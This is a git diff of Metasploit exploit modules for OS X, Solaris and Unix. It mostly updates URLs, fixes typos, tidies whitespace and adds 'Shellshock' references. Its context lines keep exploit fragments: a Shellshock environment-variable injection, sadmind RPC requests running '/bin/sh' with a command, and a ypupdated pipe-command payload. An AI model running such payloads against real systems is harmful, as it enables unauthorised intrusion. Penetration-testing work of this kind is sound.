@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
           In order to trigger arbitrary remote code execution, the best way seems to
         be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
-        a fileformat that OS X might automount), and then execute it in /Volumes/[share].
+        a file format that OS X might automount), and then execute it in /Volumes/[share].
         If there's some kind of bug that leaks the victim machine's current username,
         then it's also possible to execute the payload in /Users/[username]/Downloads/,
         or else bruteforce your way to getting that information.
@@ -320,7 +320,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     cli.send_response(res)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb
index eb3713427a..55fde75a59 100644
--- a/modules/exploits/osx/browser/safari_metadata_archive.rb
+++ b/modules/exploits/osx/browser/safari_metadata_archive.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -205,5 +205,4 @@ class MetasploitModule < Msf::Exploit::Remote
     "\x00\x00\x00\x1c\x00\x32\x00\x00\x75\x73\x72\x6f\x00\x00\x00\x0a"+
     "\x00\x00\xff\xff\x00\x00\x00\x00\x01\x0d\x21\x7c"
   end
-
 end
diff --git a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb
index ee612d2c0a..a9ba060322 100644
--- a/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb
+++ b/modules/exploits/osx/browser/safari_user_assisted_applescript_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
index 6cc2d130b3..05f74c0821 100644
--- a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
+++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb
index c61c8096c5..22f7730d7d 100644
--- a/modules/exploits/osx/browser/software_update.rb
+++ b/modules/exploits/osx/browser/software_update.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -143,5 +143,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, body, header)
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb
index b4020ccce2..c2b0b40865 100644
--- a/modules/exploits/osx/email/mailapp_image_exec.rb
+++ b/modules/exploits/osx/email/mailapp_image_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Waiting for a payload session (backgrounding)...")
   end
-
 end
diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb
index ff1a2ed9e5..7b462cdb83 100644
--- a/modules/exploits/osx/ftp/webstar_ftp_user.rb
+++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb
index e45efc2d82..8f9960e8d8 100644
--- a/modules/exploits/osx/http/evocam_webserver.rb
+++ b/modules/exploits/osx/http/evocam_webserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in the web server provided with the EvoCam
         program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
         from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
-        3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
+        3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerability.
       },
       'Author'         =>
         [
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler()
     disconnect
   end
-
 end
diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb
index 275ce832e9..d29a5a0697 100644
--- a/modules/exploits/osx/local/dyld_print_to_file_root.rb
+++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = GreatRanking
 
   include Msf::Post::OSX::System
@@ -81,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Local
     @payload_file ||=
       "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
   end
-
 end
diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb
index 06d2e81681..bd5a34937c 100644
--- a/modules/exploits/osx/local/iokit_keyboard_root.rb
+++ b/modules/exploits/osx/local/iokit_keyboard_root.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Local
   def ver_lt(a, b)
     Gem::Version.new(a) < Gem::Version.new(b)
   end
-
 end
diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb
index 47c2f2878a..a04c99ecd4 100644
--- a/modules/exploits/osx/local/nfs_mount_root.rb
+++ b/modules/exploits/osx/local/nfs_mount_root.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Local
   def ver_lt(a, b)
     Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
   end
-
 end
diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb
index f6dd4ffebe..b0810b2482 100644
--- a/modules/exploits/osx/local/persistence.rb
+++ b/modules/exploits/osx/local/persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb
index de800b82ed..5911891c5c 100644
--- a/modules/exploits/osx/local/rootpipe.rb
+++ b/modules/exploits/osx/local/rootpipe.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = GreatRanking
 
   include Msf::Post::OSX::System
@@ -109,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Local
     @payload_file ||=
       "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
   end
-
 end
diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb
index 38c82b0435..2a29188d8e 100644
--- a/modules/exploits/osx/local/rootpipe_entitlements.rb
+++ b/modules/exploits/osx/local/rootpipe_entitlements.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = GreatRanking
 
   include Msf::Post::OSX::System
@@ -155,5 +154,4 @@ class MetasploitModule < Msf::Exploit::Local
     @root_file ||=
       "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
   end
-
 end
diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb
index b4d43b3bc1..bd08be8f24 100644
--- a/modules/exploits/osx/local/rsh_libmalloc.rb
+++ b/modules/exploits/osx/local/rsh_libmalloc.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = NormalRanking
 
   include Msf::Post::OSX::System
diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb
index d56cd2124c..b6127d6e67 100644
--- a/modules/exploits/osx/local/setuid_tunnelblick.rb
+++ b/modules/exploits/osx/local/setuid_tunnelblick.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb
index 1a71581895..9a4a212b24 100644
--- a/modules/exploits/osx/local/setuid_viscosity.rb
+++ b/modules/exploits/osx/local/setuid_viscosity.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb
index 4ebe82d30e..f51ec3ce44 100644
--- a/modules/exploits/osx/local/sudo_password_bypass.rb
+++ b/modules/exploits/osx/local/sudo_password_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Local
         Note: If the user has locked the Date/Time preferences, requests to overwrite
         the system clock will be ignored, and the module will silently fail. However,
         if the "Require an administrator password to access locked preferences" setting
-        is not enabled, the Date/Time preferences are often unlocked everytime the admin
+        is not enabled, the Date/Time preferences are often unlocked every time the admin
         logs in, so you can install persistence and wait for a chance later.
       },
       'License'       => MSF_LICENSE,
@@ -257,5 +257,4 @@ class MetasploitModule < Msf::Exploit::Local
       end
     end
   end
-
 end
diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb
index e6099411b9..068a922553 100644
--- a/modules/exploits/osx/local/tpwn.rb
+++ b/modules/exploits/osx/local/tpwn.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = NormalRanking
 
   include Msf::Post::OSX::System
@@ -92,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Local
     @payload_file ||=
       "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
   end
-
 end
diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb
index 8c5980b404..8e2fc77722 100644
--- a/modules/exploits/osx/local/vmware_bash_function_root.rb
+++ b/modules/exploits/osx/local/vmware_bash_function_root.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -28,10 +28,11 @@ class MetasploitModule < Msf::Exploit::Local
         ],
       'References'    =>
         [
-          ['CVE', '2014-6271'],
-          ['CWE', '94'],
-          ['OSVDB', '112004'],
-          ['EDB', '34765']
+          [ 'AKA', 'Shellshock' ],
+          [ 'CVE', '2014-6271' ],
+          [ 'CWE', '94' ],
+          [ 'OSVDB', '112004' ],
+          [ 'EDB', '34765' ]
         ],
       'Platform'      => 'osx',
       'Arch'          => [ ARCH_X64 ],
@@ -78,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Local
     print_status("Running VMWare services...")
     cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
   end
-
 end
diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb
index 6b3b9ccc6a..954392d971 100644
--- a/modules/exploits/osx/mdns/upnp_location.rb
+++ b/modules/exploits/osx/mdns/upnp_location.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb
index 0098eb1757..372a0c3b83 100644
--- a/modules/exploits/osx/misc/ufo_ai.rb
+++ b/modules/exploits/osx/misc/ufo_ai.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     client.put(buffer)
 
   end
-
 end
diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb
index 120d40173e..2a541a8b21 100644
--- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb
+++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb
index 9bc1cec148..abf025a18b 100644
--- a/modules/exploits/osx/samba/lsa_transnames_heap.rb
+++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -335,5 +333,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     dcerpc.last_response.stub_data[0,20]
   end
-
 end
diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb
index b9a90f8216..dbba81860f 100644
--- a/modules/exploits/osx/samba/trans2open.rb
+++ b/modules/exploits/osx/samba/trans2open.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,5 +102,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb
index bcf9a0fa42..67a0530c65 100644
--- a/modules/exploits/solaris/dtspcd/heap_noir.rb
+++ b/modules/exploits/solaris/dtspcd/heap_noir.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,5 +147,4 @@ class MetasploitModule < Msf::Exploit::Remote
     connect
     @spc_seq = 0
   end
-
 end
diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb
index 74b1602f15..a1bd5209c2 100644
--- a/modules/exploits/solaris/lpd/sendmail_exec.rb
+++ b/modules/exploits/solaris/lpd/sendmail_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -161,5 +161,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
     return true
   end
-
 end
diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb
index 5be5800d91..bae03dff58 100644
--- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb
+++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb
index 97b25fcd9d..d31bd4c523 100644
--- a/modules/exploits/solaris/samba/trans2open.rb
+++ b/modules/exploits/solaris/samba/trans2open.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -156,5 +156,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
index 5e369c2206..037f636a07 100644
--- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
+++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,8 +121,8 @@ class MetasploitModule < Msf::Exploit::Remote
     buf2 = @nops + payload.encoded
 
     header =
-      XDR.encode(0) * 7 +
-      XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
+      Rex::Encoder::XDR.encode(0) * 7 +
+      Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
         4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
         hostname, 'system', rand_text_alpha(16))
 
@@ -139,9 +139,9 @@ class MetasploitModule < Msf::Exploit::Remote
       do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
       do_int('ADM_FENCE', 0) +
       do_string('X', buf2) +
-      XDR.encode('netmgt_endofargs')
+      Rex::Encoder::XDR.encode('netmgt_endofargs')
 
-    request = header + XDR.encode(header.length + body.length - 326) + body
+    request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
 
     begin
       # two seconds timeout for brute force
@@ -157,11 +157,10 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def do_string(str1, str2)
-    XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
+    Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
   end
 
   def do_int(str, int)
-    XDR.encode(str, 3, 4, int, 0, 0)
+    Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
   end
-
 end
diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb
index 496aec53db..65fd8772f8 100644
--- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb
+++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,8 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def sadmind_request(host, command)
     header =
-      XDR.encode(0) * 7 +
-      XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
+      Rex::Encoder::XDR.encode(0) * 7 +
+      Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
         4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
         host, 'system', '../../../bin/sh')
 
@@ -116,19 +116,19 @@ class MetasploitModule < Msf::Exploit::Remote
       do_int('ADM_FENCE', 0) +
       do_string('X', '-c') +
       do_string('Y', command) +
-      XDR.encode('netmgt_endofargs')
+      Rex::Encoder::XDR.encode('netmgt_endofargs')
 
-    request = header + XDR.encode(header.length + body.length - 326) + body
+    request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
 
     ret = sunrpc_call(1, request)
-    return XDR.decode!(ret, Integer, Integer, String)[2]
+    return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]
   end
 
   def do_string(str1, str2)
-    XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
+    Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
   end
 
   def do_int(str, int)
-    XDR.encode(str, 3, 4, int, 0, 0)
+    Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
   end
 end
diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb
index d0d50126d8..4edd5528f2 100644
--- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb
+++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status('Waiting for response...')
     sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
     command = '|' + payload.encoded
-    msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
+    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
     sunrpc_call(procedure, msg)
 
     sunrpc_destroy
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
   rescue ::Rex::Proto::SunRPC::RPCTimeout
     print_warning('Warning: ' + $!)
   end
-
 end
diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb
index e4cd547732..98da8084b3 100644
--- a/modules/exploits/solaris/telnet/fuser.rb
+++ b/modules/exploits/solaris/telnet/fuser.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -14,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
       'Description'    => %q{
-        This module exploits the argument injection vulnerabilty
+        This module exploits the argument injection vulnerability
         in the telnet daemon (in.telnetd) of Solaris 10 and 11.
       },
       'Author'         => [ 'MC' ],
@@ -99,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb
index dab50ec3e8..e868a56474 100644
--- a/modules/exploits/solaris/telnet/ttyprompt.rb
+++ b/modules/exploits/solaris/telnet/ttyprompt.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -96,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb
index e6ec8d4d84..3b8a2da0ac 100644
--- a/modules/exploits/unix/dhcp/bash_environment.rb
+++ b/modules/exploits/unix/dhcp/bash_environment.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,13 +32,14 @@ class MetasploitModule < Msf::Exploit::Remote
       'Arch'           => ARCH_CMD,
       'References'     =>
         [
-          ['CVE', '2014-6271'],
-          ['CWE', '94'],
-          ['OSVDB', '112004'],
-          ['EDB', '34765'],
-          ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
-          ['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
-          ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/']
+          [ 'AKA', 'Shellshock' ],
+          [ 'CVE', '2014-6271' ],
+          [ 'CWE', '94' ],
+          [ 'OSVDB', '112004' ],
+          [ 'EDB', '34765' ],
+          [ 'URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/' ],
+          [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ],
+          [ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
         ],
       'Payload'        =>
         {
@@ -88,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
       stop_service
     end
   end
-
 end
diff --git a/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb
index 2e586bb999..306f59c15b 100644
--- a/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb
+++ b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::FILEFORMAT
@@ -23,6 +22,7 @@ class MetasploitModule < Msf::Exploit
         'hdm'                      # Metasploit module
       ],
       'References'      => [
+        %w{AKA ghostbutt},
         %w{CVE 2017-8291},
         %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
         %w{URL http://seclists.org/oss-sec/2017/q2/148},
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit
       target[:template]
     ))
   end
-
 end
diff --git a/modules/exploits/unix/fileformat/imagemagick_delegate.rb b/modules/exploits/unix/fileformat/imagemagick_delegate.rb
index 6dcb3ab458..bebac52328 100644
--- a/modules/exploits/unix/fileformat/imagemagick_delegate.rb
+++ b/modules/exploits/unix/fileformat/imagemagick_delegate.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::FILEFORMAT
@@ -92,5 +91,4 @@ class MetasploitModule < Msf::Exploit
       fail_with(Failure::NoTarget, "Target has no #{t} support")
     end
   end
-
 end
diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
index cf490c8b5c..0aa9928456 100644
--- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
+++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
index 0e7853789d..82743d33a1 100644
--- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
+++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
@@ -1,10 +1,9 @@
 ##
